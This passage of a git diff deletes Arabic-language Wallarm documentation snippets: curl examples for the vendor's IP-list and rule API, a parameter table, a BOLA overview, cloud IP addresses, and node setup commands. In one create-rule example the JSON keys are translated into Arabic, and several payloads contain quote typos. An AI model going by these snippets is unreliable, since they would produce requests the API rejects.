"force": false - }' - - done - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/add-some-countries-to-lists.md b/include-ar/api-request-examples/add-some-countries-to-lists.md deleted file mode 100644 index c8d02e4f8e..0000000000 --- a/include-ar/api-request-examples/add-some-countries-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "السحابة الأمريكية" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "السحابة الأوروبية" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/add-some-ips-to-lists.md b/include-ar/api-request-examples/add-some-ips-to-lists.md deleted file mode 100644 index 0dd0aec7a8..0000000000 --- a/include-ar/api-request-examples/add-some-ips-to-lists.md +++ /dev/null @@ -1,18 +0,0 @@ -لإضافة عناوين IP أو شبكات فرعية معينة إلى قائمة الIP، أرسل الطلب التالي لكل عنوان IP/شبكة فرعية: - -=== "US Cloud" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":"","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` -=== "EU Cloud" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/add-some-proxies-to-lists.md b/include-ar/api-request-examples/add-some-proxies-to-lists.md deleted file mode 100644 index 73c86369af..0000000000 --- a/include-ar/api-request-examples/add-some-proxies-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "السحابة الأمريكية" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "السحابة الأوروبية" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/create-filtration-mode-rule-for-app.md b/include-ar/api-request-examples/create-filtration-mode-rule-for-app.md deleted file mode 100644 index fe59afdd74..0000000000 --- a/include-ar/api-request-examples/create-filtration-mode-rule-for-app.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```bash - curl 'https://us1.api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "accept: application/json" -H "Content-Type: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` -=== "السحابة الأوروبية" - ```bash - curl 'https://api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "accept: application/json" -H "Content-Type: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/create-rule-en.md b/include-ar/api-request-examples/create-rule-en.md deleted file mode 100644 index 0b0d74a18f..0000000000 --- a/include-ar/api-request-examples/create-rule-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"الإجراء\": [ {\"النوع\":\"مساوي\",\"القيمة\":\"my\",\"النقطة\":[\"المسار\",0]}, {\"النوع\":\"مساوي\",\"القيمة\":\"api\",\"النقطة\":[\"المسار\",1]}], \"تم التحقق منه\": false, \"النقطة\": [ [ \"الرأس\", \"HOST\" ] ], \"نوع الهجوم\": \"أي\"}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"الإجراء\": [ {\"النوع\":\"مساوي\",\"القيمة\":\"my\",\"النقطة\":[\"المسار\",0]}, {\"النوع\":\"مساوي\",\"القيمة\":\"api\",\"النقطة\":[\"المسار\",1]}], \"تم التحقق منه\": false, \"النقطة\": [ [ \"الرأس\", \"HOST\" ] ], \"نوع الهجوم\": \"أي\"}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/create-rule-for-app-id.md b/include-ar/api-request-examples/create-rule-for-app-id.md deleted file mode 100644 index 4d19e86f52..0000000000 --- a/include-ar/api-request-examples/create-rule-for-app-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"vpatch\",\"action\":[{\"point\":[\"instance\"],\"type\":\"equal\",\"value\":\"-1\"},{\"point\":[\"path\",0],\"type\":\"equal\",\"value\":\"my\"},{\"point\":[\"path\",1],\"type\":\"equal\",\"value\":\"api\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"point\":[[\"header\",\"HOST\"]],\"attack_type\":\"any\"}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"vpatch\",\"action\":[{\"point\":[\"instance\"],\"type\":\"equal\",\"value\":\"-1\"},{\"point\":[\"path\",0],\"type\":\"equal\",\"value\":\"my\"},{\"point\":[\"path\",1],\"type\":\"equal\",\"value\":\"api\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"point\":[[\"header\",\"HOST\"]],\"attack_type\":\"any\"}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/create-rule-scanner.md b/include-ar/api-request-examples/create-rule-scanner.md deleted file mode 100644 index edeac65f32..0000000000 --- a/include-ar/api-request-examples/create-rule-scanner.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"regex\",\"action\":[{\"point\":[\"header\",\"HOST\"],\"type\":\"equal\",\"value\":\"MY.DOMAIN.NAME\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"comment\":\"comment\",\"point\":[[\"header\",\"X-FORWARDED-FOR\"]],\"attack_type\":\"scanner\",\"regex\":\"^\(~\(44[.]33[.]22[.]11\)\)$\"}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"regex\",\"action\":[{\"point\":[\"header\",\"HOST\"],\"type\":\"equal\",\"value\":\"MY.DOMAIN.NAME\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"comment\":\"comment\",\"point\":[[\"header\",\"X-FORWARDED-FOR\"]],\"attack_type\":\"scanner\",\"regex\":\"^\(~\(44[.]33[.]22[.]11\)\)$\"}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/delete-object-from-ip-list.md b/include-ar/api-request-examples/delete-object-from-ip-list.md deleted file mode 100644 index d263faf5e4..0000000000 --- a/include-ar/api-request-examples/delete-object-from-ip-list.md +++ /dev/null @@ -1,18 +0,0 @@ -=== "السحابة الأمريكية" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -X 'DELETE' \ - -H 'X-WallarmApi-Token: ' \ - -H 'accept: application/json' \ - -H 'content-type: application/json' \ - --data-raw '{"filter":{"clientid":,"id":[]}}' - ``` -=== "السحابة الأوروبية" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -X 'DELETE' \ - -H 'X-WallarmApi-Token: ' \ - -H 'accept: application/json' \ - -H 'content-type: application/json' \ - --data-raw '{"filter":{"clientid":,"id":[]}}' - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/delete-rule-by-id.md b/include-ar/api-request-examples/delete-rule-by-id.md deleted file mode 100644 index c351b758e2..0000000000 --- a/include-ar/api-request-examples/delete-rule-by-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/delete" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\":[YOUR_CLIENT_ID],\"id\": YOUR_RULE_ID}}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/delete" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\":[YOUR_CLIENT_ID],\"id\": YOUR_RULE_ID}}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/get-all-configured-rules.md b/include-ar/api-request-examples/get-all-configured-rules.md deleted file mode 100644 index f4c5db97e2..0000000000 --- a/include-ar/api-request-examples/get-all-configured-rules.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "سحابة الولايات المتحدة" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID]},\"order_by\": \"updated_at\",\"order_desc\": true,\"limit\": 1000,\"offset\": 0}" - ``` -=== "سحابة الاتحاد الأوروبي" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID]},\"order_by\": \"updated_at\",\"order_desc\": true,\"limit\": 1000,\"offset\": 0}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/get-attacks-en.md b/include-ar/api-request-examples/get-attacks-en.md deleted file mode 100644 index 1c5a423c63..0000000000 --- a/include-ar/api-request-examples/get-attacks-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/get-conditions.md b/include-ar/api-request-examples/get-conditions.md deleted file mode 100644 index e341ae35c8..0000000000 --- a/include-ar/api-request-examples/get-conditions.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/action" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID] }, \"offset\": 0, \"limit\": 1000}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/action" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID] }, \"offset\": 0, \"limit\": 1000}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/get-incidents-en.md b/include-ar/api-request-examples/get-incidents-en.md deleted file mode 100644 index 7a92f9a81e..0000000000 --- a/include-ar/api-request-examples/get-incidents-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"\!vulnid\": null, \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"\!vulnid\": null, \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/get-ip-list-contents.md b/include-ar/api-request-examples/get-ip-list-contents.md deleted file mode 100644 index 65c0c9d04e..0000000000 --- a/include-ar/api-request-examples/get-ip-list-contents.md +++ /dev/null @@ -1,10 +0,0 @@ -=== "السحابة الأمريكية" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules?filter%5Bclientid%5D=&filter%5Blist%5D=&offset=0&limit=50' \ - -H 'X-WallarmApi-Token: ' - ``` -=== "السحابة الأوروبية" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules?filter%5Bclientid%5D=&filter%5Blist%5D=&offset=0&limit=50' \ - -H 'X-WallarmApi-Token: ' - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/get-rules-by-condition-id.md b/include-ar/api-request-examples/get-rules-by-condition-id.md deleted file mode 100644 index 8a2856276a..0000000000 --- a/include-ar/api-request-examples/get-rules-by-condition-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID],\"actionid\": YOUR_CONDITION_ID},\"limit\": 1000,\"offset\": 0}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID],\"actionid\": YOUR_CONDITION_ID},\"limit\": 1000,\"offset\": 0}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/get-vulnerabilities.md b/include-ar/api-request-examples/get-vulnerabilities.md deleted file mode 100644 index 1a143645d7..0000000000 --- a/include-ar/api-request-examples/get-vulnerabilities.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "السحابة الأمريكية" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/vuln" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"limit\":50, \"offset\":0, \"filter\":{\"clientid\":[YOUR_CLIENT_ID], \"testrun_id\":null, \"validated\":true, \"time\":[[TIMESTAMP, null]]}}" - ``` -=== "السحابة الأوروبية" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/vuln" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"limit\":50, \"offset\":0, \"filter\":{\"clientid\":[YOUR_CLIENT_ID], \"testrun_id\":null, \"validated\":true, \"time\":[[TIMESTAMP, null]]}}" - ``` \ No newline at end of file diff --git a/include-ar/api-request-examples/ip-list-request-params.md b/include-ar/api-request-examples/ip-list-request-params.md deleted file mode 100644 index c7ccac67eb..0000000000 --- a/include-ar/api-request-examples/ip-list-request-params.md +++ /dev/null @@ -1,12 +0,0 @@ -| الباراميتر | الوصف | -| --------- | ----------- | -| `X-WallarmApi-Token` | الرمز اللازم لـ[الوصول إلى واجهة برمجة تطبيقات Wallarm][access-wallarm-api-docs]، انسخه من واجهة Wallarm → **الإعدادات** → **رموز API**. | -| `clientid` | مُعرف الحساب في سحابة Wallarm لإضافة/قراءة قائمة الـIP. | -| `ip_rule.list` | نوع قائمة الـIP لإضافة العناصر، يمكن أن يكون: `black` (لقائمة الحظر)، `white` (لقائمة السماح)، `gray` (لقائمة الرمادية). | -| `ip_rule.rule_type` | نوع العناصر المُضافة إلى القائمة:
              • `ip_range` في حالة إضافة عناوين IPs أو شبكات فرعية معينة
              • `country` في حالة إضافة دول أو مناطق
              • `proxy_type` في حالة إضافة خدمات البروكسي (`VPN`، `SES`، `PUB`، `WEB`، `TOR`)
              • `datacenter` لأنواع المصادر الأخرى (`rackspace`، `tencent`، `plusserver`، `ovh`، `oracle`، `linode`، `ibm`، `huawei`، `hetzner`، `gce`، `azure`، `aws`، `alibaba`)
              | -| `ip_rule.subnet`
              (`rule_type:"ip_range"`) | IP أو شبكة فرعية لإضافتها إلى القائمة، مثل `"1.1.1.1"`. | -| `ip_rule.source_values`
              (لقيم `rule_type` الأخرى) | إحدى الخيارات:
              • إذا كان `rule_type:"country"` - مصفوفة من الدول بـ[صيغة ISO-3166](https://en.wikipedia.org/wiki/List_of_ISO_3166_country_codes)، مثل `["AX","AL"]`.
              • إذا كان `rule_type:"proxy_type"` - مصفوفة من خدمات البروكسي، مثل `["VPN","PUB"]`.
              • إذا كان `rule_type:"datacenter"` - مصفوفة من أنواع المصادر الأخرى، مثل `["rackspace","huawei"]`.
              | -| `ip_rule.pools` | مصفوفة من [مُعرفات التطبيقات][application-docs] للسماح أو تقييد الوصول لعناوين IP، مثل `[3,4]` لمُعرفات التطبيقات 3 و 4 أو `[0]` لجميع التطبيقات. -| `ip_rule.expired_at` | تاريخ [الطابع الزمني لـUnix](https://www.unixtimestamp.com/) لإزالة عناوين IP من القائمة. القيمة القصوى هي للأبد (`33223139044`). | -| `reason` | سبب السماح أو تقييد الوصول لعناوين IP. | -| `force` | إذا كان `true` وبعض العناصر المُحددة في الطلب موجودة بالفعل في قائمة الـIP، السكربت سيقوم بالكتابة فوقها. | \ No newline at end of file diff --git a/include-ar/bola-intro.md b/include-ar/bola-intro.md deleted file mode 100644 index 6b5f99447e..0000000000 --- a/include-ar/bola-intro.md +++ /dev/null @@ -1,22 +0,0 @@ -## نظرة عامة - -الهجمات السلوكية مثل [اختراق مستوى تفويض الكائن (BOLA)](../../attacks-vulns-list.md#broken-object-level-authorization-bola) تستغل ثغرة بنفس الاسم. تسمح هذه الثغرة للمهاجم بالوصول إلى كائن من خلال تعريفه عبر طلب API وإما قراءة أو تعديل بياناته متجاوزًا آلية التفويض. يعلمك هذا المقال كيفية حماية تطبيقاتك من هجمات BOLA. - -بشكل افتراضي، والارم يكتشف تلقائيًا فقط ثغرات من نوع BOLA (المعروف أيضًا باسم IDOR) لكنه لا يكتشف محاولات استغلالها. - -!!! تحذير "قيود حماية BOLA" - فقط عقدة والارم 4.2 والأحدث تدعم كشف هجمات BOLA. - - تحلل عقدة والارم 4.2 والأحدث الطلبات التالية فقط بحثًا عن علامات هجمات BOLA: - - * الطلبات المرسلة عبر بروتوكول HTTP. - * الطلبات التي لا تحتوي على علامات أنواع هجمات أخرى، مثل الطلبات التي لا تعتبر هجمة BOLA إذا: - - * تحتوي هذه الطلبات على علامات [هجمات التحقق من الإدخال](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks). - * تطابق هذه الطلبات التعبير النظامي المحدد في [القاعدة **إنشاء مؤشر هجمة بناءً على التعبير النظامي**](../../user-guides/rules/regex-rule.md#adding-a-new-detection-rule). - -## المتطلبات - -لحماية الموارد من هجمات BOLA، تأكد من أن بيئتك تلبي المتطلبات التالية: - -* إذا تم نشر العقدة المرشحة وراء خادم بروكسي أو موازن تحميل، [قم بتكوين](../using-proxy-or-balancer-en.md) عرض عناوين IP الحقيقية للعملاء. \ No newline at end of file diff --git a/include-ar/check-setup-installation-en.md b/include-ar/check-setup-installation-en.md deleted file mode 100644 index 19ea5b911b..0000000000 --- a/include-ar/check-setup-installation-en.md +++ /dev/null @@ -1 +0,0 @@ -تأكد من أن العقدة الفاصلة تعمل وتقوم بتصفية الحركة. انظر [تحقق من عمل العقدة الفاصلة](installation-check-operation-en.md). \ No newline at end of file diff --git a/include-ar/cloud-ip-by-request.md b/include-ar/cloud-ip-by-request.md deleted file mode 100644 index 31cb9a6237..0000000000 --- a/include-ar/cloud-ip-by-request.md +++ /dev/null @@ -1,32 +0,0 @@ -!!! info "عناوين IP لسحابة Wallarm" - قد تحتاج إلى قائمة بعناوين IP العامة لسحابة Wallarm لتوفير الوصول إلى نظامك: - - === "السحابة الأمريكية" - ``` - 35.235.66.155 - 34.102.90.100 - 34.94.156.115 - 35.235.115.105 - 34.94.85.217 - 34.94.51.234 - 34.102.59.122 - 34.94.238.72 - 35.235.100.79 - 34.102.45.38 - 34.94.241.21 - 34.102.90.100 - 34.94.203.193 - 34.94.238.221 - 34.94.9.23 - 34.94.118.150 - 34.94.193.9 - ``` - === "السحابة الأوروبية" - ``` - 34.141.230.156 - 34.91.138.113 - 34.90.114.134 - 35.204.127.78 - 34.90.24.155 - 34.7.147.149 - ``` \ No newline at end of file diff --git a/include-ar/configure-postanalytics-address-en.md b/include-ar/configure-postanalytics-address-en.md deleted file mode 100644 index 09d106b97b..0000000000 --- a/include-ar/configure-postanalytics-address-en.md +++ /dev/null @@ -1,22 +0,0 @@ -أضف عنوان الخادم لـ postanalytics إلى `/etc/nginx-wallarm/conf.d/wallarm.conf`: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; -} - -# محذوف - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -!!! warning "الشروط المطلوبة" - يجب تحقيق الشروط التالية لمعلمتي `max_conns` و `keepalive`: - - * يجب ألا تقل قيمة معلمة `keepalive` عن عدد خوادم Tarantool. - * يجب تحديد قيمة معلمة `max_conns` لكل من خوادم Tarantool العليا لمنع إنشاء اتصالات زائدة. - - السطر `# wallarm_tarantool_upstream wallarm_tarantool;` معلق بشكل افتراضي - يرجى حذف `#`. \ No newline at end of file diff --git a/include-ar/configure-postanalytics-address-kong-en.md b/include-ar/configure-postanalytics-address-kong-en.md deleted file mode 100644 index 43f286a12b..0000000000 --- a/include-ar/configure-postanalytics-address-kong-en.md +++ /dev/null @@ -1,22 +0,0 @@ -أضف عنوان الخادم لـpostanalytics إلى `/etc/kong/nginx-wallarm.template`: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; -} - -# محذوف - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -!!! warning "الشروط المطلوبة" - يجب أن تتحقق الشروط التالية لمعاملات `max_conns` و`keepalive`: - - * يجب ألا تكون قيمة معامل `keepalive` أقل من عدد خوادم Tarantool. - * يجب تحديد قيمة معامل `max_conns` لكل من خوادم Tarantool العلوية لمنع إنشاء اتصالات مفرطة. - - يتم التعليق على السلسلة `# wallarm_tarantool_upstream wallarm_tarantool;` بشكل افتراضي - يرجى حذف `#`. \ No newline at end of file diff --git a/include-ar/connect-cloud-en.md b/include-ar/connect-cloud-en.md deleted file mode 100644 index 500df065df..0000000000 --- a/include-ar/connect-cloud-en.md +++ /dev/null @@ -1,46 +0,0 @@ -![قائمة المستخدمين في واجهة Wallarm][img-wl-console-users] - -[link-wl-console-us]: https://us1.my.wallarm.com/ -[link-wl-console-eu]: https://my.wallarm.com/ -[link-wl-console-users-us]: https://us1.my.wallarm.com/settings/users -[link-wl-console-users-eu]: https://my.wallarm.com/settings/users - -!!! info "الوصول إلى API" - يعتمد اختيار واجهة برمجة التطبيقات لعقدة التصفية الخاصة بك على السحابة التي تستخدمها. يرجى اختيار واجهة برمجة التطبيقات وفقًا لذلك: - - * إذا كنت تستخدم ، تتطلب عقدتك الوصول إلى `https://api.wallarm.com:444`. - * إذا كنت تستخدم ، تتطلب عقدتك الوصول إلى `https://us1.api.wallarm.com:444`. - - تأكد من أن الوصول ليس محظورًا بواسطة جدار ناري. - -تتفاعل عقدة التصفية مع سحابة Wallarm. - -لربط العقدة بالسحابة باستخدام بيانات حساب السحابة الخاصة بك، اتبع الخطوات التالية: - -1. تأكد من أن حسابك في Wallarm يملك دور **المدير** أو **النشر** مفعلًا ومصادقة ثنائية العوامل معطلة، مما يمكنك من ربط عقدة التصفية بالسحابة. - - يمكنك التحقق من البارامترات المذكورة أعلاه بالانتقال إلى قائمة حساب المستخدم في واجهة Wallarm. - - * إذا كنت تستخدم ، انتقل إلى [الرابط التالي][link-wl-console-users-eu] للتحقق من إعدادات المستخدم. - * إذا كنت تستخدم ، انتقل إلى [الرابط التالي][link-wl-console-users-us] للتحقق من إعدادات المستخدم. - -2. قم بتشغيل سكريبت `addnode` على جهاز حيث تقوم بتثبيت عقدة التصفية: - - !!! info - يجب أن تختار السكريبت لتشغيله اعتمادًا على السحابة التي تستخدمها. - - * إذا كنت تستخدم , قم بتشغيل السكريبت من علامة التبويب **US Cloud** أدناه. - * إذا كنت تستخدم , قم بتشغيل السكريبت من علامة التبويب **EU Cloud** أدناه. - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode - ``` - - لتحديد اسم العقدة المُنشأة، استخدم خيار `-n <اسم العقدة>`. كذلك، يمكن تغيير اسم العقدة في واجهة Wallarm → **العقد**. - -3. قدم بريدك الإلكتروني وكلمة المرور الخاصة بحساب Wallarm عندما يُطلب منك. \ No newline at end of file diff --git a/include-ar/connect-cloud-node-cloud-en-2.16.md b/include-ar/connect-cloud-node-cloud-en-2.16.md deleted file mode 100644 index bd1e1e0ba4..0000000000 --- a/include-ar/connect-cloud-node-cloud-en-2.16.md +++ /dev/null @@ -1,94 +0,0 @@ -[img-wl-console-users]: ../images/check-users.png - -[link-wl-console-us]: https://us1.my.wallarm.com/ -[link-wl-console-eu]: https://my.wallarm.com/ -[link-wl-console-users-us]: https://us1.my.wallarm.com/settings/users -[link-wl-console-users-eu]: https://my.wallarm.com/settings/users - -[anchor-token]: #connecting-using-the-filtering-node-token -[anchor-credentials]: #connecting-using-your-email-and-password - -يتفاعل العقدة التصفية مع سحابة Wallarm. هناك طريقتان لربط العقدة بالسحابة: -* [استخدام رمز عقدة التصفية][anchor-token] -* [استخدام بريدك الإلكتروني وكلمة المرور الخاصة بحساب Wallarm][anchor-credentials] - -!!! info "الصلاحيات المطلوبة" - تأكد من أن حسابك في Wallarm يمتلك دور **المدير** أو **النشر** مفعلاً ومصادقة ثنائية العوامل معطلة، الأمر الذي يسمح لك بربط عقدة التصفية بالسحابة. - - يمكنك التحقق من البارامترات المذكورة أعلاه بالانتقال إلى قائمة حسابات المستخدمين في وحدة تحكم Wallarm. - - * إذا كنت تستخدم ، تابع إلى [الرابط التالي][link-wl-console-users-eu] لفحص إعدادات المستخدم الخاصة بك. - * إذا كنت تستخدم ، تابع إلى [الرابط التالي][link-wl-console-users-us] لفحص إعدادات المستخدم الخاصة بك. - ![قائمة المستخدمين في وحدة تحكم Wallarm][img-wl-console-users] - -#### الربط باستخدام رمز عقدة التصفية - -لربط العقدة بالسحابة باستخدام الرمز، اتبع الخطوات التالية: - -1. إنشاء عقدة جديدة في قسم **العقد** من وحدة تحكم Wallarm. - 1. اضغط على زر **إنشاء عقدة جديدة**. - 2. أنشئ **عقدة Wallarm**. -2. نسخ رمز العقدة. -3. على الجهاز الافتراضي قم بتشغيل سكريبت `addcloudnode`: - - !!! info - عليك اختيار أي سكريبت تقوم بتشغيله بناءً على السحابة التي تستخدمها. - - * إذا كنت تستخدم ، قم بتشغيل السكريبت من علامة تبويب **سحابة الولايات المتحدة** أدناه. - * إذا كنت تستخدم ، قم بتشغيل السكريبت من علامة تبويب **سحابة الاتحاد الأوروبي** أدناه. - - === "سحابة الولايات المتحدة" - ``` bash - sudo /usr/share/wallarm-common/addcloudnode -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ``` bash - sudo 